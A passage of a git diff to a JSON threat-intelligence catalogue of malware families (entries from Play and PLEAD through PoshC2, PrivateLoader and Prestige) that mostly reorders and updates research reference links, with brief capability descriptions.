"https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://www.avertium.com/resources/threat-reports/an-in-depth-look-at-play-ransomware", + "https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/", "https://www.trendmicro.com/en_us/research/22/i/play-ransomware-s-attack-playbook-unmasks-it-as-another-hive-aff.html", - "https://chuongdong.com/reverse%20engineering/2022/09/03/PLAYRansomware/" + "https://medium.com/walmartglobaltech/from-royal-with-love-88fa05ff7f65" ], "synonyms": [ "PlayCrypt" @@ -35893,29 +37799,29 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.plead", - "https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html", - "https://blogs.jpcert.or.jp/en/2018/11/tscookie2.html", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_2_ycy-aragorn_en.pdf", - "https://documents.trendmicro.com/assets/appendix-following-the-trail-of-blacktechs-cyber-espionage-campaigns.pdf", - "https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/", - "https://web.archive.org/web/20200229012206/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947724.pdf", - "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", - "https://www.macnica.net/file/mpressioncss_ta_report_2019_2_nopw.pdf", - "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947724.pdf", - "https://www.trendmicro.com/en_us/research/17/f/following-trail-blacktech-cyber-espionage-campaigns.html", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt", - "https://blog.trendmicro.com/trendlabs-security-intelligence/kivars-with-venom-targeted-attacks-upgrade-with-64-bit-support/", - "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", - "http://www.freebuf.com/column/159865.html", - "https://www.welivesecurity.com/2018/07/09/certificates-stolen-taiwanese-tech-companies-plead-malware-campaign/", - "https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf", - "http://blog.jpcert.or.jp/2018/03/malware-tscooki-7aa0.html", "https://www.welivesecurity.com/2019/05/14/plead-malware-mitm-asus-webstorage/", - "https://www.fireeye.com/blog/threat-research/2016/04/ghosts_in_the_endpoi.html", - "https://blogs.jpcert.or.jp/en/2019/05/tscookie3.html", - "https://blogs.jpcert.or.jp/en/2019/09/tscookie-loader.html", + "https://www.welivesecurity.com/2018/07/09/certificates-stolen-taiwanese-tech-companies-plead-malware-campaign/", "https://www.cyberandramen.net/home/blacktech-doesnt-miss-a-step-a-quick-analysis-of-a-busy-2020", - "https://securelist.com/apt-trends-report-q2-2019/91897/" + "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947724.pdf", + "https://blogs.jpcert.or.jp/en/2018/11/tscookie2.html", + "https://blogs.jpcert.or.jp/en/2019/09/tscookie-loader.html", + "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", + "http://blog.jpcert.or.jp/2018/03/malware-tscooki-7aa0.html", + "https://www.fireeye.com/blog/threat-research/2016/04/ghosts_in_the_endpoi.html", + "https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html", + "https://blog.trendmicro.com/trendlabs-security-intelligence/kivars-with-venom-targeted-attacks-upgrade-with-64-bit-support/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt", + 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"https://researchcenter.paloaltonetworks.com/2014/09/recent-watering-hole-attacks-attributed-apt-group-th3bug-using-poison-ivy/", + "https://www.proofpoint.com/us/threat-insight/post/chinese-apt-operation-lagtime-it-targets-government-information-technology", "https://blog.fortinet.com/2017/09/15/deep-analysis-of-new-poison-ivy-plugx-variant-part-ii", "https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf", - "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/analysing-a-recent-poison-ivy-sample/", "https://unit42.paloaltonetworks.com/atoms/crawling-taurus/", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://community.riskiq.com/article/56fa1b2f", + "https://us-cert.cisa.gov/ncas/alerts/aa20-275a", "https://www.recordedfuture.com/china-linked-ta428-threat-group", - "https://www.fireeye.com/blog/threat-research/2013/10/know-your-enemy-tracking-a-rapidly-evolving-apt-actor.html", - "https://www.fortinet.com/blog/threat-research/pivnoxy-and-chinoxy-puppeteer-analysis", - "https://vb2020.vblocalhost.com/uploads/VB2020-20.pdf", - "https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/blob/master/2016/2016.04.26.New_Poison_Ivy_Activity_Targeting_Myanmar_Asian_Countries/New%20Poison%20Ivy%20Activity%20Targeting%20Myanmar%2C%20Asian%20Countries.pdf", - "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf", - "https://www.proofpoint.com/us/threat-insight/post/chinese-apt-operation-lagtime-it-targets-government-information-technology", - "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", - "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/" + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/", + "https://vb2020.vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf" ], "synonyms": [ "SPIVY", @@ -36276,15 +38194,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "2abe89de-46dd-4dae-ae22-b49a593aff54", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "7789fc1b-3cbc-4a1c-8ef0-8b06760f93e7", "value": "Poison Ivy" }, @@ -36306,9 +38215,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.poldat", + "http://fireeyeday.com/1604/pdf/KeyNote_2.pdf", "https://youtu.be/DDA2uSxjVWY?t=344", - "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf", - "http://fireeyeday.com/1604/pdf/KeyNote_2.pdf" + "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" ], "synonyms": [ "KABOB", @@ -36337,10 +38246,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.polyglotduke", - "https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/", "https://www.welivesecurity.com/2019/10/17/operation-ghost-dukes-never-left/", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://www.secureworks.com/research/threat-profiles/iron-hemlock" + "https://www.secureworks.com/research/threat-profiles/iron-hemlock", + "https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf" ], "synonyms": [], "type": [] @@ -36361,33 +38270,47 @@ "uuid": "5ee77368-5e09-4016-ae73-82b99e830832", "value": "Polyglot" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.polyvice", + "https://www.intrinsec.com/vice-society-spreads-its-own-ransomware/", + "https://www.sentinelone.com/labs/custom-branded-ransomware-the-vice-society-group-and-the-threat-of-outsourced-development/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "31017b7c-c023-4247-b37d-f15f2df5d25a", + "value": "PolyVice" + }, { "description": "According to KnowBe4, Pony Stealer is a password stealer that can decrypt or unlock passwords for over 110 different applications including VPN, FTP, email, instant messaging, web browsers and much more. Pony Stealer is very dangerous and once it infects a PC it will turn the device into a botnet, allowing it to use the PCs it infects to infect other PCs.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pony", - "https://intel471.com/blog/a-brief-history-of-ta505", "https://www.secureworks.com/research/threat-profiles/gold-galleon", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/", - "https://www.youtube.com/watch?v=EyDiIAt__dI", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://github.com/nyx0/Pony", - "https://www.youtube.com/watch?v=y8Z9KnL8s8s", - "https://www.mcafee.com/us/resources/reports/rp-quarterly-threats-jun-2017.pdf", - "https://www.youtube.com/watch?v=42yldTQ-fWA", - "https://i.blackhat.com/asia-21/Thursday-Handouts/as21-Taniguchi-How-Did-The-Adversaries-Abusing-The-Bitcoin-Blockchain-Evade-Our-Takeover.pdf", - "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", - "https://www.secureworks.com/research/threat-profiles/gold-evergreen", - "https://int0xcc.svbtle.com/practical-threat-hunting-and-incidence-response-a-case-of-a-pony-malware-infection", - "http://www.secureworks.com/research/threat-profiles/gold-essex", - "https://www.knowbe4.com/pony-stealer", "https://www.secureworks.com/research/threat-profiles/gold-essex", - "http://www.secureworks.com/research/threat-profiles/gold-galleon", "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://www.knowbe4.com/pony-stealer", + "https://www.uperesia.com/analysis-of-a-packed-pony-downloader", + "https://int0xcc.svbtle.com/practical-threat-hunting-and-incidence-response-a-case-of-a-pony-malware-infection", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://www.youtube.com/watch?v=y8Z9KnL8s8s", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://i.blackhat.com/asia-21/Thursday-Handouts/as21-Taniguchi-How-Did-The-Adversaries-Abusing-The-Bitcoin-Blockchain-Evade-Our-Takeover.pdf", + "https://github.com/nyx0/Pony", "http://www.secureworks.com/research/threat-profiles/gold-evergreen", + "https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/", + "http://www.secureworks.com/research/threat-profiles/gold-essex", + "https://www.secureworks.com/research/threat-profiles/gold-evergreen", "https://www.secureworks.com/research/gold-galleon-how-a-nigerian-cyber-crew-plunders-the-shipping-industry", - "https://www.uperesia.com/analysis-of-a-packed-pony-downloader" + "https://www.youtube.com/watch?v=42yldTQ-fWA", + "https://intel471.com/blog/a-brief-history-of-ta505", + "http://www.secureworks.com/research/threat-profiles/gold-galleon", + "https://www.youtube.com/watch?v=EyDiIAt__dI", + "https://www.mcafee.com/us/resources/reports/rp-quarterly-threats-jun-2017.pdf" ], "synonyms": [ "Fareit", @@ -36412,17 +38335,30 @@ "uuid": "54327cbd-d30c-4684-9a66-18ae36b28399", "value": "PoohMilk Loader" }, + { + "description": "According to Mandiant, POORTRY is a malware written as a driver, signed with a Microsoft Windows Hardware Compatibility Authenticode signature. This malware has been observed being used by UNC3944.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.poortry", + "https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware" + ], + "synonyms": [], + "type": [] + }, + "uuid": "17b87423-66e5-451e-8a84-5f4fd8bb2b01", + "value": "POORTRY" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.poorweb", - "https://securelist.com/apt-trends-report-q2-2018/86487/", - "https://asec.ahnlab.com/ko/18796/", "https://blog.reversinglabs.com/blog/poorweb-exploiting-document-formats", - "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf", + "https://securelist.com/apt-trends-report-q2-2018/86487/", "https://fortiguard.com/resources/threat-brief/2019/05/10/fortiguard-threat-intelligence-brief-may-10-2019", - "https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/" + "https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf", + "https://asec.ahnlab.com/ko/18796/" ], "synonyms": [], "type": [] @@ -36448,6 +38384,7 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.portdoor", "https://www.socinvestigation.com/chinese-new-backdoor-deployed-for-cyberespionage/", + "https://medium.com/@Ilandu/portdoor-malware-afc9d0796cba", "https://www.cybereason.com/blog/research/portdoor-new-chinese-apt-backdoor-attack-targets-russian-defense-sector", "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-Targeted-attack-on-industrial-enterprises-and-public-institutions-En.pdf" ], @@ -36484,24 +38421,25 @@ "value": "poscardstealer" }, { - "description": "", + "description": "PoshC2 is a proxy aware C2 framework used to aid penetration testers with red teaming, post-exploitation and lateral movement.\r\n\r\nPoshC2 is primarily written in Python3 and follows a modular format to enable users to add their own modules and tools, allowing an extendible and flexible C2 framework. Out-of-the-box PoshC2 comes PowerShell/C# and Python3 implants with payloads written in PowerShell v2 and v4, C++ and C# source code, a variety of executables, DLLs and raw shellcode in addition to a Python3 payload. These enable C2 functionality on a wide range of devices and operating systems, including Windows, *nix and OSX.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.poshc2", - "http://www.rewterz.com/rewterz-news/rewterz-threat-alert-iranian-apt-uses-job-scams-to-lure-targets", - "https://research.checkpoint.com/2022/dangeroussavanna-two-year-long-campaign-targets-financial-institutions-in-french-speaking-africa/", - "https://paper.seebug.org/1301/", - "https://ti.dbappsecurity.com.cn/blog/articles/2021/09/06/operation-maskface/", - "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", - "https://labs.nettitude.com/blog/detecting-poshc2-indicators-of-compromise/", - "https://www.fireeye.com/blog/threat-research/2020/07/scandalous-external-detection-using-network-scan-data-and-automation.html", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", "https://github.com/jeFF0Falltrades/IoCs/blob/master/APT/poshc2_apt_33.md", "https://5851803.fs1.hubspotusercontent-na1.net/hubfs/5851803/Russian%20Ransomware%20C2%20Network%20Discovered%20in%20Censys%20Data.pdf", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", - "https://github.com/nettitude/PoshC2_Python/", - "https://redcanary.com/blog/getsystem-offsec/", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_0_JPCERT_en.pdf", + "https://www.fireeye.com/blog/threat-research/2020/07/scandalous-external-detection-using-network-scan-data-and-automation.html", + "https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f", + "https://paper.seebug.org/1301/", + "https://labs.nettitude.com/blog/detecting-poshc2-indicators-of-compromise/", + "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", + "https://ti.dbappsecurity.com.cn/blog/articles/2021/09/06/operation-maskface/", "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_0_JPCERT_en.pdf" + "https://github.com/nettitude/PoshC2_Python/", + "https://research.checkpoint.com/2022/dangeroussavanna-two-year-long-campaign-targets-financial-institutions-in-french-speaking-africa/", + "http://www.rewterz.com/rewterz-news/rewterz-threat-alert-iranian-apt-uses-job-scams-to-lure-targets", + "https://redcanary.com/blog/getsystem-offsec/" ], "synonyms": [], "type": [] @@ -36514,10 +38452,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.poslurp", - "https://atr-blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/", "https://www.root9b.com/sites/default/files/whitepapers/PoS%20Malware%20ShellTea%20PoSlurp.pdf", - "https://twitter.com/just_windex/status/1162118585805758464", - "https://norfolkinfosec.com/fuel-pumps-ii-poslurp-b/" + "https://atr-blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/", + "https://norfolkinfosec.com/fuel-pumps-ii-poslurp-b/", + "https://twitter.com/just_windex/status/1162118585805758464" ], "synonyms": [ "PUNCHTRACK" @@ -36532,8 +38470,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.poulight_stealer", - "https://www.youtube.com/watch?v=MaPXDCq-Gf4", "https://twitter.com/MBThreatIntel/status/1240389621638402049?s=20", + "https://www.youtube.com/watch?v=MaPXDCq-Gf4", "https://www.carbonblack.com/blog/tau-threat-discovery-cryptocurrency-clipper-malware-evolves/", "https://blog.360totalsecurity.com/en/a-txt-file-can-steal-all-your-secrets/?web_view=true" ], @@ -36550,8 +38488,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.povlsomware", - "https://youtu.be/oYLs6wuoOfg", - "https://www.trendmicro.com/en_us/research/21/c/povlsomware-ransomware-features-cobalt-strike-compatibility.html" + "https://www.trendmicro.com/en_us/research/21/c/povlsomware-ransomware-features-cobalt-strike-compatibility.html", + "https://youtu.be/oYLs6wuoOfg" ], "synonyms": [], "type": [] @@ -36592,9 +38530,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.powercat", - "https://www.cyborgsecurity.com/blog/you-dont-know-the-hafnium-of-it/", + "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", "https://twitter.com/VK_Intel/status/1141540229951709184", - "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/" + "https://www.cyborgsecurity.com/blog/you-dont-know-the-hafnium-of-it/" ], "synonyms": [], "type": [] @@ -36607,8 +38545,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.powerduke", - "https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/", - "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/", + "https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/" ], "synonyms": [], "type": [] @@ -36674,11 +38612,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.powersniff", - "https://afyonluoglu.org/PublicWebFiles/Reports-TR/2017%20FireEye%20M-Trends%20Report.pdf", "https://atr-blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/", - "https://unit42.paloaltonetworks.com/powersniff-malware-used-in-macro-based-attacks/", "https://lokalhost.pl/gozi_tree.txt", - "https://content.fireeye.com/m-trends/rpt-m-trends-2017" + "https://unit42.paloaltonetworks.com/powersniff-malware-used-in-macro-based-attacks/", + "https://content.fireeye.com/m-trends/rpt-m-trends-2017", + "https://afyonluoglu.org/PublicWebFiles/Reports-TR/2017%20FireEye%20M-Trends%20Report.pdf" ], "synonyms": [ "PUNCHBUGGY" @@ -36693,28 +38631,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.power_ratankba", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://content.fireeye.com/apt/rpt-apt38", "https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf", - "https://www.flashpoint-intel.com/blog/disclosure-chilean-redbanc-intrusion-lazarus-ties/" + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/", + "https://content.fireeye.com/apt/rpt-apt38", + "https://www.flashpoint-intel.com/blog/disclosure-chilean-redbanc-intrusion-lazarus-ties/", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/" ], "synonyms": [ "QUICKRIDE.POWER" ], "type": [] }, - "related": [ - { - "dest-uuid": "1f1be19e-d1b5-408b-90a0-03ad27cc8924", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "606f778a-8b99-4880-8da8-b923651d627b", "value": "PowerRatankba" }, @@ -36737,16 +38666,16 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.predator", "https://www.secureworks.com/research/threat-profiles/gold-galleon", - "https://www.fortinet.com/blog/threat-research/predator-the-thief-new-routes-delivery.html", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://fumik0.com/2019/12/25/lets-play-again-with-predator-the-thief/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.fortinet.com/blog/threat-research/predator-the-thief-new-routes-delivery.html", + "https://securelist.com/a-predatory-tale/89779", "https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_4_ogawa-niseki_en.pdf", "https://fumik0.com/2018/10/15/predator-the-thief-in-depth-analysis-v2-3-5/", + "https://fumik0.com/2019/12/25/lets-play-again-with-predator-the-thief/", "https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://securelist.com/a-predatory-tale/89779" + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf" ], "synonyms": [], "type": [] @@ -36754,6 +38683,20 @@ "uuid": "54041c03-5714-4247-9226-3c801f59bc07", "value": "Predator The Thief" }, + { + "description": "Ransomware.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.prestige", + "https://blogs.microsoft.com/on-the-issues/2022/12/03/preparing-russian-cyber-offensive-ukraine/", + "https://www.microsoft.com/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "156b617e-2ae4-47a8-9498-6343b24cc6fe", + "value": "Prestige" + }, { "description": "", "meta": { @@ -36764,15 +38707,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "67ade442-63f2-4319-bdcd-d2564b963ed6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "00764634-4a21-4c5c-8b1f-fb294c9bdd3f", "value": "Prikormka" }, @@ -36787,15 +38721,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "523e8772-0610-424c-bcfb-9123bcb8328f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "a0899fec-161d-4ba8-9594-8b5620c21705", "value": "Prilex" }, @@ -36815,21 +38740,24 @@ "value": "PrincessLocker" }, { - "description": "", + "description": "According to sekoia, PrivateLoader is a modular malware whose main capability is to download and execute one or several payloads. The loader implements anti-analysis techniques, fingerprints the compromised host and reports statistics to its C2 server.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.privateloader", - "https://medium.com/walmartglobaltech/icedid-leverages-privateloader-7744771bf87f", - "https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem", "https://www.bitsight.com/blog/tracking-privateloader-malware-distribution-service", + "https://medium.com/walmartglobaltech/privateloader-to-anubis-loader-55d066a2653e", + "https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/", + "https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem", + "https://tavares.re/blog/2022/06/06/hunting-privateloader-pay-per-install-service/", + "https://www.trendmicro.com/en_us/research/22/e/netdooka-framework-distributed-via-privateloader-ppi.html", + "https://www.zscaler.com/blogs/security-research/peeking-privateloader", "https://de.darktrace.com/blog/privateloader-network-based-indicators-of-compromise", "https://www.youtube.com/watch?v=Ldp7eESQotM", - "https://www.zscaler.com/blogs/security-research/peeking-privateloader", - "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", - "https://www.trendmicro.com/en_us/research/22/e/netdooka-framework-distributed-via-privateloader-ppi.html", - "https://medium.com/walmartglobaltech/privateloader-to-anubis-loader-55d066a2653e", "https://intel471.com/blog/privateloader-malware", - "https://tavares.re/blog/2022/06/06/hunting-privateloader-pay-per-install-service/" + "https://medium.com/walmartglobaltech/icedid-leverages-privateloader-7744771bf87f", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://www.bitsight.com/blog/unpacking-colibri-loader-russian-apt-linked-campaign", + "https://www.bitsight.com/blog/zero-50k-infections-pseudomanuscrypt-sinkholing-part-1" ], "synonyms": [], "type": [] @@ -36842,9 +38770,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.privatelog", - "https://twitter.com/ESETresearch/status/1433819369784610828", "https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html", "https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques", + "https://twitter.com/ESETresearch/status/1433819369784610828", "https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive" ], "synonyms": [], @@ -36872,9 +38800,10 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.prometei", "https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer--a-ransomware--and-a-botnet-join-the-part.html", - "https://www.cybereason.com/blog/prometei-botnet-exploiting-microsoft-exchange-vulnerabilities", "https://twitter.com/honeymoon_ioc/status/1494016518694309896", - "https://twitter.com/honeymoon_ioc/status/1494311182550904840" + "https://blog.talosintelligence.com/prometei-botnet-improves/", + "https://twitter.com/honeymoon_ioc/status/1494311182550904840", + "https://www.cybereason.com/blog/prometei-botnet-exploiting-microsoft-exchange-vulnerabilities" ], "synonyms": [], "type": [] @@ -36887,16 +38816,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.prometheus", - "https://medium.com/cycraft/prometheus-decryptor-6933e7bac1ea", "https://unit42.paloaltonetworks.com/prometheus-ransomware/", + "https://medium.com/s2wlab/prometheus-x-spook-prometheus-ransomware-rebranded-spook-ransomware-6f93bd8ab5dd", "https://therecord.media/decryptor-released-for-prometheus-ransomware-victims/", + "https://www.cybereason.com/blog/cybereason-vs.-prometheus-ransomware", + "https://twitter.com/inversecos/status/1441252744258461699?s=20", "https://securityintelligence.com/posts/ransomware-encryption-goes-wrong/", "https://medium.com/cycraft/the-road-to-ransomware-resilience-c1ca37036efd", "https://www.sentinelone.com/labs/spook-ransomware-prometheus-derivative-names-those-that-pay-shames-those-that-dont/", - "https://twitter.com/inversecos/status/1441252744258461699?s=20", "https://id-ransomware.blogspot.com/2021/05/prometheus-ransomware.html", - "https://www.cybereason.com/blog/cybereason-vs.-prometheus-ransomware", - "https://medium.com/s2wlab/prometheus-x-spook-prometheus-ransomware-rebranded-spook-ransomware-6f93bd8ab5dd" + "https://medium.com/cycraft/prometheus-decryptor-6933e7bac1ea" ], "synonyms": [], "type": [] @@ -36949,9 +38878,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.prynt_stealer", - "https://www.zscaler.com/blogs/security-research/no-honor-among-thieves-prynt-stealers-backdoor-exposed", "https://blog.cyble.com/2022/04/21/prynt-stealer-a-new-info-stealer-performing-clipper-and-keylogger-activities/", - "https://twitter.com/vxunderground/status/1519632014361640960" + "https://twitter.com/vxunderground/status/1519632014361640960", + "https://www.zscaler.com/blogs/security-research/no-honor-among-thieves-prynt-stealers-backdoor-exposed" ], "synonyms": [], "type": [] @@ -36964,8 +38893,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pseudo_manuscrypt", + "https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/", + "https://ics-cert.kaspersky.com/reports/2021/12/16/pseudomanuscrypt-a-mass-scale-spyware-attack-campaign/", "https://asec.ahnlab.com/en/31683/", - "https://ics-cert.kaspersky.com/reports/2021/12/16/pseudomanuscrypt-a-mass-scale-spyware-attack-campaign/" + "https://medium.com/@lcam/updates-from-the-maas-new-threats-delivered-through-nullmixer-d45defc260d1", + "https://www.bitsight.com/blog/zero-50k-infections-pseudomanuscrypt-sinkholing-part-1" ], "synonyms": [], "type": [] @@ -36978,14 +38910,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.psix", - 